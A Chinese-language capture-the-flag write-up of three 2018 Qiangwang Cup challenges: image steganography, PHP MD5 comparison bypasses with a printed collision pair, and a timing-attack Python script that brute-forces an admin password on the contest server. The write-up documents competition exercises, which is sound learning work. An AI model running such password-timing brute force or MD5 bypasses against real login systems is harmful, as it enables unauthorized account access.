2018強(qiáng)網(wǎng)杯已經(jīng)過去很久了
剛好再整理一下通過這次比賽的一些個人收獲
最后感慨,自己實在太渣,要保持勤奮不斷前進(jìn)

0x01 welcome
一道簡單的misc,給出了一張圖片,直接拖到Stegsolve處理

在offset為80和100的時候可以看到flag


0x02 Web簽到
這題考察PHP的MD5繞過,總共有三關(guān)
其中第一關(guān)是0e弱類型比較
第二關(guān)是數(shù)組繞過MD5比較
第三關(guān)無法繞過,只能找到真正的MD5碰撞
關(guān)于MD5碰撞,已經(jīng)有現(xiàn)成的成果可以使用,曾經(jīng)王曉云教授提出過成果
這里使用的碰撞對是
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
和
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
還可以使用碰撞對

在hackbar中通過自帶的hex轉(zhuǎn)char功能進(jìn)行轉(zhuǎn)換,最后post通過


0x03 3pigs

這題一直沒有被人拿下,是web+pwn的題目
充滿好奇去嘗試了下,雖然沒有結(jié)果,但是過程還是記錄一下
訪問題目鏈接后是一個登錄界面,嘗試sql注入等,并沒有漏洞點
查看源代碼發(fā)現(xiàn)注釋中提示timing attack,既時序攻擊,于是寫代碼進(jìn)行爆破
時序攻擊的介紹可以參考
https://www.zhihu.com/question/20156213
大致就是服務(wù)端對錯誤密碼處理的響應(yīng)時間有細(xì)微差異,假如逐位進(jìn)行密碼驗證,則連續(xù)位數(shù)正確越多的密碼,服務(wù)器返回時間越長
這里給出手動爆破的python腳本
#coding:utf-8
import requests
url="http://39.107.33.62:31927/login.php"
post={
"team":"icq15f6add5d952d9d8efac6c045970a",
"username":"admin",
"password":""
}
maxtime=0
char=""
for i in range(34,127):
avgtime=0
c = chr(i)
#這里進(jìn)行諸位手動爆破
post["password"]="I10ve3P|g"+c+"*"*0
# I10ve3P|g~
response = requests.post(url, data=post)
avgtime = response.elapsed.microseconds
if avgtime > maxtime:
maxtime=avgtime
char = c
print(post["password"]+":"+str(avgtime)+" "+response.text)
if "Failed" not in response.text:
print("success!!")
f=open("success.txt","a")
f.write(post["password"])
f.close()
print(char)
最后得到登錄密碼是
I10ve3P|g~
登錄后進(jìn)入新的頁面


和這幾只豬死磕了很久都沒有思路,最后GG